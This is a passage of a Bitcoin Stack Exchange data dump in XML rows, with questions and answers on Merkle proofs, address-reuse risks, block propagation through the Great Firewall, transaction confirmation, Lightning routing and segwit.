  <row Id="42372" PostTypeId="2" ParentId="42281" CreationDate="2016-01-15T11:59:33.803" Score="2" Body="&lt;p&gt;Edit: Have a look at &lt;a href=&quot;https://developer.bitcoin.org/reference/p2p_networking.html#merkleblock&quot; rel=&quot;nofollow noreferrer&quot;&gt;MSG_MERKLEBLOCK&lt;/a&gt;. Included information is: &lt;code&gt;Block Header&lt;/code&gt;, &lt;code&gt;Transaction Count&lt;/code&gt;, &lt;code&gt;Hash Count&lt;/code&gt;, &lt;code&gt;hashes&lt;/code&gt;, &lt;code&gt;flag byte count&lt;/code&gt;, and &lt;code&gt;flags&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;hashes&lt;/code&gt; include everything from the leaf to root, and &lt;code&gt;flags&lt;/code&gt;&#xA;gives the positions of the leaf in the Merkle tree.&lt;/p&gt;&#xA;&lt;p&gt;Since the index of the transaction gives it’s position from the left among the leaves in the Merkle Tree, in addition to the transaction count it is sufficient to deduce whether it is the left or right partner in each concatenation.&lt;/p&gt;&#xA;&lt;p&gt;(Old answer below.)&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;The leaves of the Merkle tree are left to right in the same order as the transaction list of the block. Each layer above is formed by concatenating the children and then performing ad double SHA-256. When only a single entry is left in a layer, we call that the Merkle root.&lt;/p&gt;&#xA;&lt;p&gt;If a transaction does not have a partner, it is paired with itself instead.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    HASH(Hash(AB)Hash(CC))&#xA;       /              \&#xA;Hash(AB)              HASH(CC)&#xA; /    \                /    \&#xA;A      B              C      -&#xA;&#xA;Legend: A,B,C are txid; Hash is short for SHA-256d.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This means that each transaction’s position in the tree is completely defined just by it’s index in the transaction list. Therefore, the position of its partners on each layer is deductible from that alone: If you write the transaction indices (starting to count with 0) out in Binary, you get the following:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;A: 00&#xA;B: 01&#xA;C: 10&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Reading from back to front, each &lt;code&gt;1&lt;/code&gt; stands for &amp;quot;right position&amp;quot; and each &lt;code&gt;0&lt;/code&gt; stands for &amp;quot;left position&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;Example: &lt;code&gt;B(01)&lt;/code&gt;, &lt;code&gt;B&lt;/code&gt;’s last position is &lt;code&gt;1&lt;/code&gt; and B is the right partner to &lt;code&gt;A&lt;/code&gt;. &lt;code&gt;B&lt;/code&gt;’s second to last position is &lt;code&gt;0&lt;/code&gt; and HASH(AB) is the left partner to HASH(CC).&lt;/p&gt;&#xA;&lt;p&gt;Therefore it is sufficient to add the index in the transaction list and the number of transactions in the block to your proposed &amp;quot;Leaf, Root, Nodes&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, I don’t know what standard is being used to transfer this information. Maybe you can find it in the Bitcoin Core code catering to the requests of the SPV clients polling nodes for information.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="34190" LastEditDate="2024-03-04T10:15:42.747" LastActivityDate="2024-03-04T10:15:42.747" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="42374" PostTypeId="2" ParentId="42371" CreationDate="2016-01-15T13:28:09.397" Score="2" Body="&lt;p&gt;Yes, &lt;code&gt;block.io&lt;/code&gt; is a good alternative with full wallet functions. No requirement for NPM or a VPS. &lt;/p&gt;&#xA;" OwnerUserId="26873" LastActivityDate="2016-01-15T13:28:09.397" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42376" PostTypeId="2" ParentId="20621" CreationDate="2016-01-15T14:20:37.153" Score="7" Body="&lt;p&gt;Why address reuse is discouraged:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;strong&gt;Reduced security&lt;/strong&gt; An unused address is protected by &lt;a href=&quot;https://en.bitcoin.it/wiki/Elliptic_Curve_Digital_Signature_Algorithm&quot; rel=&quot;nofollow noreferrer&quot;&gt;ECDSA&lt;/a&gt; &lt;strong&gt;AND&lt;/strong&gt; several &lt;a href=&quot;https://en.wikipedia.org/wiki/SHA-256&quot; rel=&quot;nofollow noreferrer&quot;&gt;SHA-256&lt;/a&gt; and &lt;a href=&quot;https://en.bitcoin.it/wiki/RIPEMD-160&quot; rel=&quot;nofollow noreferrer&quot;&gt;RIPEMD-160&lt;/a&gt; operations, but only ECDSA after being used because the public key must be revealed during spending. This has been shown to open up several possible attacks in the past.[1]&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Reduced privacy&lt;/strong&gt; All participants who you give the address to know it is yours obviously.  They can use this information to analyze incoming and outgoing transactions to identify other addresses you own and who you are interacting with, not to mention how much bitcoin you have.  This can be serious for businesses in competition or in situations where a payment might put someone into harms way (&lt;a href=&quot;https://shop.wikileaks.org/donate#db3&quot; rel=&quot;nofollow noreferrer&quot;&gt;politically unpopular donations&lt;/a&gt; or as a means for extortion, etc).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;[1] More info: &lt;a href=&quot;https://en.bitcoin.it/wiki/Address_reuse&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://en.bitcoin.it/wiki/Address_reuse&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13440" LastEditorUserId="98065" LastEditDate="2022-12-10T20:15:04.973" LastActivityDate="2022-12-10T20:15:04.973" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="42378" PostTypeId="1" AcceptedAnswerId="42384" CreationDate="2016-01-15T15:17:20.607" Score="3" ViewCount="565" Body="&lt;p&gt;Mike Hearn &lt;a href=&quot;https://medium.com/@octskyward/the-resolution-of-the-bitcoin-experiment-dabb30201f7#.cb4pumm38&quot; rel=&quot;nofollow noreferrer&quot;&gt;said&lt;/a&gt; the following:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The reason the true limit seems to be 700 kilobytes instead of the theoretical 1000 is that sometimes miners produce blocks smaller than allowed and even empty blocks, despite that there are lots of transactions waiting to confirm — this seems to be most frequently caused by interference from the Chinese “&lt;strong&gt;&lt;em&gt;Great Firewall&lt;/em&gt;&lt;/strong&gt;” censorship system.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Also, he mentioned on another occasion that the bandwidth through the GFW, is only about 50 KB/s, sometimes less. In the best scenario you can get 3 MB/s, &lt;a href=&quot;https://www.youtube.com/watch?v=ivgxcEOyWNs&amp;amp;feature=youtu.be&amp;amp;t=2h36m20s&quot; rel=&quot;nofollow noreferrer&quot;&gt;according to&lt;/a&gt; Scaling Bitcoin Conference.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Mike put lots of accusations towards the Chinese regarding blockchain development, but how much of that is true and if there's some solution, what will be the solution? &lt;/p&gt;&#xA;" OwnerUserId="26823" LastEditorUserId="14911" LastEditDate="2019-01-16T03:46:57.923" LastActivityDate="2019-01-16T03:46:57.923" Title="How relevant is the Chinese Great Firewall in the blocksize debate?" Tags="|block-size-increase|china|block-propagation-time|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="42379" PostTypeId="2" ParentId="42345" CreationDate="2016-01-15T15:55:42.953" Score="3" Body="&lt;p&gt;There are several blockchains that already do this. Colored Coins (on bitcoin blockchain), Counterpary (on bitcoin blockchain), NXT, BitShares, Ethereum and others allow to represent any asset you wish like land, cars, consultancy hours, etc., using digital tokens (e.g. the &quot;data&quot; of the system as you called it) which is irrespective/decoupled of the reward they get.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://en.bitcoin.it/wiki/Colored_Coins&quot; rel=&quot;nofollow&quot;&gt;Colored Coins&lt;/a&gt; for how you can use metadata in a bitcoin transaction to achieve that result. It is especially easy to implement using &lt;a href=&quot;https://en.wikipedia.org/wiki/Counterparty_(technology)&quot; rel=&quot;nofollow&quot;&gt;Counterparty&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, you can already store the kind of data you want in parallel to a digital token that rewards the miners.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you meant, &lt;em&gt;only&lt;/em&gt; having the asset in the blockchain and no reward then the answer is no, you cannot: you always need something in digital form that can be securely shared to the contributors**.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this helped.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;**For an internal reward, you have to give something of value to the contributors within the system. Say, that you don't want to give money/currency but instead some service. In order to keep a proper count of the rewards for each contributor you would need a digital way of representing the reward, ie. by using a digital token. To securely keep track of the rewards you need to also put them in an immutable structure, ie. the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thus, whether you want to give money or chickens or some kind of service to the contributors you have to digitally represent it (tokens) and secure it (blockchain). The token represents the reward and it does not need to be money. However, it is very practical to think about it as money since this is the unit of exchange that most of us are used to.&lt;/p&gt;&#xA;" OwnerUserId="31844" LastActivityDate="2016-01-15T15:55:42.953" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="42380" PostTypeId="2" ParentId="20621" CreationDate="2016-01-15T16:15:33.867" Score="19" Body="&lt;p&gt;There are both security and privacy related issues that arise from address reuse. Based upon your question you are less concerned with the privacy implications and more concerned with the security implications in this question. I will discuss security first before briefly mentioning why the privacy implications are greater than the security implications.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Address Security&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Bitcoin addresses are derived randomly by generating a private and public key pair. When an address is generated both the private and public keys are secret to everyone except the owner of the wallet. At this point your address has 100% security assuming the device that it is stored on is not compromised already. When you provide someone with your bitcoin address to send you funds they do not learn anything about the public or private keys even though the address is derived from the public key. So far so good, right?&lt;/p&gt;&#xA;&lt;p&gt;The first issue/security risk I will discuss is a specific implementation issue in a mobile wallet library. It is worth knowing how a &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_documentation&quot; rel=&quot;nofollow noreferrer&quot;&gt;bitcoin transaction is structured&lt;/a&gt; to understand this issue but without getting too technical you may want to read this article about what happened when &lt;a href=&quot;http://www.nilsschneider.net/2013/01/28/recovering-bitcoin-private-keys.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;the same K value is used in multiple signatures&lt;/a&gt;. When this issue arose it was trivial to derive the private key protecting the funds in question and &lt;a href=&quot;https://bitcoinmagazine.com/articles/critical-vulnerability-found-in-android-wallets-1376273924&quot; rel=&quot;nofollow noreferrer&quot;&gt;attackers were able to steal a reported 55+ bitcoins&lt;/a&gt;. As part of a bitcoin transaction the public key associated with the address is revealed to the network.  This allows the blockchain to validate that indeed that public key is associated with the address sending funds. It also validates that the signature provided could only be generated by the private key associated with the public key which was now revealed. If the user that were attacked did not reuse addresses and sent all of the funds stored out of this address to a new address after spending some of the funds, the new address would be 100% secret again. This issue has been fixed and should only represent a concern if you are using a wallet that has not had a proper cryptographic audit.&lt;/p&gt;&#xA;&lt;p&gt;The next class of security issues I will touch upon is &lt;a href=&quot;https://en.wikipedia.org/wiki/Side-channel_attack&quot; rel=&quot;nofollow noreferrer&quot;&gt;side channel attacks&lt;/a&gt;. These kind of attacks can become technical in discussion very fast so I will not go into details but essentially specific hardware platforms can be made to leak information about their current state thus allowing an attacker to determine random values the CPU will generate in the future. This again allows the k value (also known as the ephemeral key) to be leaked and private keys can be recreated. One such side channel attack know to target ECDSA is the &lt;a href=&quot;https://eprint.iacr.org/2014/140.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;FLUSH and RELOAD&lt;/a&gt; attack.&lt;/p&gt;&#xA;&lt;p&gt;Although side channel attacks are unlikely to be performed on someone randomly without targeting it would be much easier to attack someone that is not using privacy preserving techniques. Which leads me to briefly touch on the privacy aspects of address reuse.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Privacy Concerns&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;The first thing to consider when deciding whether or not to reuse your bitcoin address is that privacy not only impacts yourself when using bitcoin it also impacts everyone else that you transact with. Using blockchain analysis it is trivial to determine which companies you may be doing business with, how much money you could be holding, as well as your complete ledger history of everyone that your address has transacted with.&lt;/p&gt;&#xA;&lt;p&gt;There has been tracking attempts that also work to associate addresses with each other and &amp;quot;collapse identities&amp;quot; based upon transactions that are public for everyone to see on the blockchain. Addresses that are downstream from your known address could be used to make illegal or purchases that could catch the interest of law enforcement and this could lead them to your doorstep because of association with particular transactions.&lt;/p&gt;&#xA;&lt;p&gt;Read more about &lt;a href=&quot;https://en.bitcoin.it/wiki/Address_reuse&quot; rel=&quot;nofollow noreferrer&quot;&gt;why you should not reuse addresses&lt;/a&gt; including 2 real world examples of unscrupulous activity that could occur if someone knew how much money you had stored or earned over a regular schedule (such as payroll).&lt;/p&gt;&#xA;" OwnerUserId="6256" LastEditorUserId="98065" LastEditDate="2022-12-15T22:31:57.577" LastActivityDate="2022-12-15T22:31:57.577" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="42381" PostTypeId="2" ParentId="23090" CreationDate="2016-01-15T18:35:24.667" Score="15" Body="&lt;p&gt;Cancelling unconfirmed transactions is easy.   Just submit a higher fee double-spend transaction.   For example: if you sent a 0-fee transaction, it could take a day before it gets mined onto a block.   You can send another transaction with the same inputs that just sends the money back to yourself.   On this transaction you put a higher fee.   This becomes more likely to be mined and will get included in the blockchain - invalidating the slower-to-confirm original.&lt;/p&gt;&#xA;&lt;p&gt;Some tools to help out: &lt;a href=&quot;https://github.com/petertodd/replace-by-fee-tools&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/petertodd/replace-by-fee-tools&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="9128" LastEditorUserId="5371" LastEditDate="2021-04-25T07:39:40.943" LastActivityDate="2021-04-25T07:39:40.943" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="42384" PostTypeId="2" ParentId="42378" CreationDate="2016-01-15T19:58:34.050" Score="4" Body="&lt;p&gt;Yes, data has shown, that GFW has effects on packet propagation, but not much. The major cause of delay is distance. As you can see &lt;a href=&quot;https://research.tradeblock.com/wp-content/uploads/2015/06/Prop-Time-by-Geog.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;, the median propagation time is comparable for various locations.Complete details can be seen &lt;a href=&quot;https://tradeblock.com/blog/bitcoin-network-capacity-analysis-part-6-data-propagation&quot; rel=&quot;nofollow noreferrer&quot;&gt;here.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Interestingly, this issue highlights that more than the effect of GFW, it is the effect of large blocks propagation delay &amp;amp; rather serves as a case for even smaller blocks, which Mike was against.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Possible solutions:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://gist.github.com/gavinandresen/e20c3b5a1d4b97f79ac2&quot; rel=&quot;nofollow noreferrer&quot;&gt;O(1) block propagation&lt;/a&gt; : &quot;If memory pools were perfectly synchronized and all miners had exactly the same policy for choosing which transactions to include in their blocks and in what order to include them, then miners could just announce new blocks as the fixed 80-byte block header and the coinbase transaction; there would be no need to include any transaction data at all, it could be reconstructed from their peers' memory pools.&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://lists.linuxfoundation.org/pipermail/bitcoin-dev/2015-September/011176.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blocktorrent&lt;/a&gt; : &quot;a leech(node) will begin to upload chunks of data as soon as it gets them and confirms both PoW and hash/data integrity instead of waiting for a fully copy with full verification.&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;http://bitcoinrelaynetwork.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;A miner backbone network&lt;/a&gt; : &quot;a hub-and-spoke network, which consists of servers set up in eight well-connected Internet traffic hubs: New York, Seattle, Amsterdam, Beijing, Tokyo, Singapore, Hong Kong and Novosibirsk (located in central Russia). Additionally, the relay network uses a fairly basic compression algorithm. Any Bitcoin node can connect to the nearest hub on Corallo's relay network, and send and receive transactions and blocks to and from other connected nodes.&quot;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bitcoin/pull/6077&quot; rel=&quot;nofollow noreferrer&quot;&gt;Cache transaction validation&lt;/a&gt; : memoization of transaction validation&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Surprisingly enough, &lt;strong&gt;blocks smaller than 1 mb&lt;/strong&gt;! &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.tik.ee.ethz.ch/file/716b955c130e6c703fac336ea17b1670/duplex-micropayment-channels.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;A duplex payment channel abstraction&lt;/a&gt; &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://lightning.network/lightning-network-paper.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Lightning Network&lt;/a&gt; &lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;on top of bitcoin would enable off-chain transactions &amp;amp; be like the visa protocol over the fiat layer.&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;6&quot;&gt;&#xA;&lt;li&gt;&lt;strong&gt;Stratum Mining&lt;/strong&gt; : The miner in china delegates the block header creation to a server outside china. Probably, the best short-term solution.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="25114" LastActivityDate="2016-01-15T19:58:34.050" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42385" PostTypeId="1" AcceptedAnswerId="42408" CreationDate="2016-01-15T21:49:32.217" Score="5" ViewCount="362" Body="&lt;p&gt;From a user perspective, each block confirmation reduces the probability that a transaction payment will be reversed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However from the perspective of the software, what happens when a transaction is confirmed? For example, I know it is removed from the mempool. Is there any other technical difference between confirmed and unconfirmed transactions? Are both outputs stored in the same UTXO set? Does anything happen on any lower level (data storage, etc) inside a node or on the network or in the protocol once a Tx is included in a block?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do confirmed transactions have any special properties besides the human perception of safety?&lt;/p&gt;&#xA;" OwnerUserId="3667" LastActivityDate="2016-01-17T18:14:15.077" Title="What technical properties does a confirmed Tx have that an unconfirmed Tx does not?" Tags="|protocol|confirmations|unconfirmed-transactions|utxo|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42387" PostTypeId="2" ParentId="42385" CreationDate="2016-01-15T23:38:09.733" Score="-1" Body="&lt;p&gt;Technically speaking, the difference between a confirmed transaction and an unconfirmed transaction is that confirmed transactions have been hashed into a block, where the header of that block hashes to an extremely unlikely value. They are set in stone within the block and cannot be changed as long as that block remains part of the best chain. Unconfirmed transactions live by themselves, just a few kilobytes of data floating around the network, waiting to be hashed into a block. &lt;/p&gt;&#xA;" OwnerUserId="18196" LastEditorUserId="18196" LastEditDate="2016-01-16T19:17:27.343" LastActivityDate="2016-01-16T19:17:27.343" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42388" PostTypeId="2" ParentId="42385" CreationDate="2016-01-16T00:27:33.027" Score="1" Body="&lt;p&gt;Transactions are the same before and after confirmation. Each confirmation just means that it has been mined into a block. &lt;/p&gt;&#xA;" OwnerUserId="30084" LastActivityDate="2016-01-16T00:27:33.027" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42390" PostTypeId="1" AcceptedAnswerId="42400" CreationDate="2016-01-16T08:17:52.533" Score="3" ViewCount="556" Body="&lt;p&gt;A dialogue partner of mine claimed that Lightning Network is vulnerable to sybil attacks. He stated that LN needed explicit identities in order to support the &quot;routing&quot; which would cause ending up with whitelists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is Lightning Network vulnerable to sybil attacks?&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2020-08-25T16:47:50.870" LastActivityDate="2020-08-25T16:47:50.870" Title="Is Lightning Network vulnerable to sybil attacks?" Tags="|lightning-network|lightning-routing|sybil-attack|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42391" PostTypeId="5" CreationDate="2016-01-16T08:20:18.590" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2016-01-16T08:20:18.590" LastActivityDate="2016-01-16T08:20:18.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42392" PostTypeId="4" CreationDate="2016-01-16T08:20:18.590" Score="0" Body="A peer-to-peer payment system leveraging unbroadcast pre-signed transactions to track user balances." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2024-01-15T17:44:01.730" LastActivityDate="2024-01-15T17:44:01.730" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="42393" PostTypeId="2" ParentId="10671" CreationDate="2016-01-16T10:33:49.430" Score="1" Body="&lt;p&gt;Yes Bither is exactly what you are searching for. From my point of view Bither is quite underestimated. Due to the cold storage functionality with a 2nd offline phone Bither seems to the be the safest wallet availabe for mobile phones (Android, iPhone). In addition it exists also for Windows.&lt;/p&gt;&#xA;" OwnerUserId="32049" LastActivityDate="2016-01-16T10:33:49.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42400" PostTypeId="2" ParentId="42390" CreationDate="2016-01-16T18:25:06.253" Score="3" Body="&lt;p&gt;Not true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You have funds locked into a multisig wallet with party A, B and C. There's nothing to Sybil there: the funds have been transferred and only you and them have keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then you want to transfer money to G. None of your parties has a direct link to G, but C has links to D, E and F. And G is advertised as having a link to D. So C relays your money to D and D relays it to G.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do you know it's actually G and not some fake G? Because you have out-of-band communication with G, because G is the restaurant you are standing in right now or G is the webshop you are trying to pay. A secret token is exchanged directly between you and the real G, which makes sure we're talking to the correct wallets and any relay transactions can only be redeemed with the knowledge of the secret token.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The example above is simplified of course. In practice the goal is to have more hops between you and G, both because finding a shorter route might be hard/impossible, but also for privacy reasons (it uses Tor like routing and encryption to hide identities and IP addresses).&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2016-01-16T18:25:06.253" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="42401" PostTypeId="1" CreationDate="2016-01-16T19:36:46.140" Score="0" ViewCount="130" Body="&lt;p&gt;I am looking at the source code and I want to know how a person can reject all blocks except the ones mined by himself? I want to be still able to add transaction to my blocks but reject all other mined blocks except mine, where do I need to look in the &lt;a href=&quot;https://github.com/bitcoin/bitcoin/tree/0.8&quot; rel=&quot;nofollow&quot;&gt;source code&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="32065" LastEditorUserId="5406" LastEditDate="2016-01-21T09:39:14.413" LastActivityDate="2016-01-21T09:39:14.413" Title="Reject all other Blocks and allow only my own mined blocks" Tags="|bitcoin-core-development|altcoin-development|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="42402" PostTypeId="2" ParentId="42401" CreationDate="2016-01-16T22:04:15.437" Score="1" Body="&lt;p&gt;I suspect that this is an instance of the &lt;a href=&quot;http://xyproblem.info/&quot; rel=&quot;nofollow&quot;&gt;XY problem&lt;/a&gt;, but I'll answer anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you modify &lt;a href=&quot;https://github.com/bitcoin/bitcoin/blob/dd1304ec216c7d4bdb302195e184b15503819f67/src/main.cpp#L4233&quot; rel=&quot;nofollow&quot;&gt;ProcessMessage&lt;/a&gt; so that it drops any inbound block messages, that would do it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    else if (strCommand == NetMsgType::BLOCK &amp;amp;&amp;amp; !fImporting &amp;amp;&amp;amp; !fReindex) // Ignore blocks received while importing&#xA;    {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    else if (false) // Ignore all blocks&#xA;    {&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2306" LastActivityDate="2016-01-16T22:04:15.437" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42407" PostTypeId="2" ParentId="42385" CreationDate="2016-01-17T15:25:05.133" Score="1" Body="&lt;p&gt;There is no difference between a confirmed and unconfirmed transaction, which is why you need the full blockchain to verify exactly what you're seeing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for storage: A confirmed transaction will have affected the UTXO set by consuming/spending old UTXO's and creating some new ones. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If your node also maintains a mempool, it holds transactions in memory (not anywhere persistent), and transaction selection is based on (i) validation rules and (ii) the node's local policy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;An interesting case is if your broadcasting transactions with non-standard outputs: nodes might refuse to allow them into the mempool, and refuse to relay them. Should a miner hear about the transaction, he can still include it in a block however. So the block would override a node's policy of not accepting these transactions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;A transaction that can &lt;em&gt;never&lt;/em&gt; confirm is due a rule violation, instead of local policy. An example would be spending outputs which don't exist, or a signature which is entirely invalid. &lt;/p&gt;&#xA;" OwnerUserId="11123" LastActivityDate="2016-01-17T15:25:05.133" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="42408" PostTypeId="2" ParentId="42385" CreationDate="2016-01-17T18:04:16.103" Score="4" Body="&lt;p&gt;when we speak about specific transaction: no. The unconfirmed transaction looks exactly the same as the same transaction with 1,2.. confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;yes. There are 3 types of transaction: confirmed, unconfirmed, and nonexistent&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example of nonexistent are those 10BTC I'll give you tomorrow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;difference between unconfirmed and nonexistent is not &quot;obvious&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you see an Unconfirmed tx on your PC, this does not &quot;guarantee&quot; that everybody else sees it too. If internet connectivity fails, you may be precisely the only person who sees it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unconfirmed transactions can be very different from confirmed, in many ways:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unconfirmed transaction can spend funds that already have been spend, or funds that never existed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unconfirmed transaction get lost in the Internet (never get confirmed).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unconfirmed transaction can be reversed and be replaced by different Unconfirmed transaction sending the funds to somebody else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unconfirmed transaction can contain technical error that prevent it to be confirmed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unconfirmed transaction can have low fee (less than dust limit) and this can cause confirmation delay of 12 or more hours.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unconfirmed transaction can be one of many abusive (spam) transaction (in an attack). Such Unconfirmed transactions will typically never get confirmed and most likely all miners will delete these abusive transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unconfirmed transaction can be censored by all miners. This can happen if some address belongs to a person who is anti-bitcoin or some large corporation that has a conflict of interest with bitcoin (like a large bank). If all miners agree that they do not wish such entity to transact on bitcoin, they may decide to censor the activity of such an entity or person. This transaction may never get confirmed.&lt;/p&gt;&#xA;" OwnerUserId="32091" LastEditorUserId="32091" LastEditDate="2016-01-17T18:14:15.077" LastActivityDate="2016-01-17T18:14:15.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="42409" PostTypeId="1" AcceptedAnswerId="42411" CreationDate="2016-01-17T19:26:44.613" Score="2" ViewCount="367" Body="&lt;p&gt;Reading the BIP:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/bitcoin/bips/blob/master/bip-0142.mediawiki&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitcoin/bips/blob/master/bip-0142.mediawiki&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I see that the scriptPubKey in a transaction that funds a segwit redemption is the same as a normal P2PKH but merely prepended with &lt;code&gt;OP_0&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this opcode what tells older clients that the Tx is &quot;anyone can spend&quot; meaning that there will be no signature data in the redemption Tx?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Of course upgraded nodes will know to look for the actual scriptSig in the witness data to verify the Tx. But how does this &lt;code&gt;OP_0&lt;/code&gt; fool old nodes into ignoring the scriptSig on the redemption Tx?&lt;/p&gt;&#xA;" OwnerUserId="3667" LastEditorUserId="5406" LastEditDate="2021-11-16T21:50:46.020" LastActivityDate="2021-11-16T21:50:46.020" Title="Segregated witness soft fork: how is the funding Tx made &quot;ANYONECANSPEND&quot;" Tags="|segregated-witness|blockchain-fork|anyone-can-spend|" AnswerCount="1" CommentCount="0" 